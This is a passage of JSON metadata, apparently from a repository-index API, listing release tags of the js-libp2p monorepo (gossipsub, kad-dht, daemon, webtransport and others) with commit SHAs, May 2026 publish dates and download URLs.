p/tags/interface-v3.2.3/manifests"},{"name":"interface-internal-v3.1.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.6/manifests"},{"name":"interface-compliance-tests-v7.0.24","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.24/manifests"},{"name":"integration-tests-v1.2.12","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.12/manifests"},{"name":"identify-v4.1.7","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.7/manifests"},{"name":"gossipsub-v16.0.1","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.1/manifests"},{"name":"floodsub-v11.0.23","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.23/manifests"},{"name":"fetch-v4.1.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.6/manifests"},{"name":"echo-v3.1.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.6/manifests"},{"name":"dcutr-v3.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.21/manifests"},{"name":"daemon-v6.0.28","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.28/manifests"},{"name":"daemon-server-v9.0.28","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.28/manifests"},{"name":"daemon-protocol-v8.0.8","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.8/manifests"},{"name":"daemon-client-v10.0.28","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.28/manifests"},{"name":"crypto-v5.1.19","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.19/manifests"},{"name":"config-v1.1.32","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.32/manifests"},{"name":"circuit-relay-v2-v4.2.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.6/manifests"},{"name":"bootstrap-v12.0.24","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.24/manifests"},{"name":"autonat-v3.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.21/manifests"},{"name":"autonat-v2-v2.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.21/manifests"},{"name":"webtransport-v6.0.27","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.27/manifests"},{"name":"transport-interop-libp2p-main-v1.0.28","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.28/manifests"},{"name":"mplex-v12.0.23","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.23/manifests"},{"name":"mdns-v12.0.23","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.23/manifests"},{"name":"libp2p-v3.3.2","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.2/manifests"},{"name":"interop-v14.0.27","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.27/manifests"},{"name":"interface-compliance-tests-v7.0.23","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.23/manifests"},{"name":"integration-tests-v1.2.11","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.11/manifests"},{"name":"gossipsub-v16.0.0","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.0/manifests"},{"name":"floodsub-v11.0.22","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.22/manifests"},{"name":"daemon-v6.0.27","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.27/manifests"},{"name":"daemon-server-v9.0.27","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.27/manifests"},{"name":"daemon-client-v10.0.27","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.27/manifests"},{"name":"bootstrap-v12.0.23","sha":"745cd9d7e0195dfc40a7d5d21e5652c5c79cc7b0","kind":"commit","published_at":"2026-05-27T07:30:10.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.23/manifests"},{"name":"webtransport-v6.0.26","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.26/manifests"},{"name":"transport-interop-libp2p-main-v1.0.27","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.27/manifests"},{"name":"kad-dht-v16.3.0","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.3.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.0/manifests"},{"name":"interop-v14.0.26","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.26/manifests"},{"name":"integration-tests-v1.2.10","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.10/manifests"},{"name":"daemon-v6.0.26","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.26/manifests"},{"name":"daemon-server-v9.0.26","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.26/manifests"},{"name":"daemon-client-v10.0.26","sha":"2fc13e8b45347daab8c188ce674c449f1c323275","kind":"commit","published_at":"2026-05-21T22:31:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.26","dependencies_parsed_at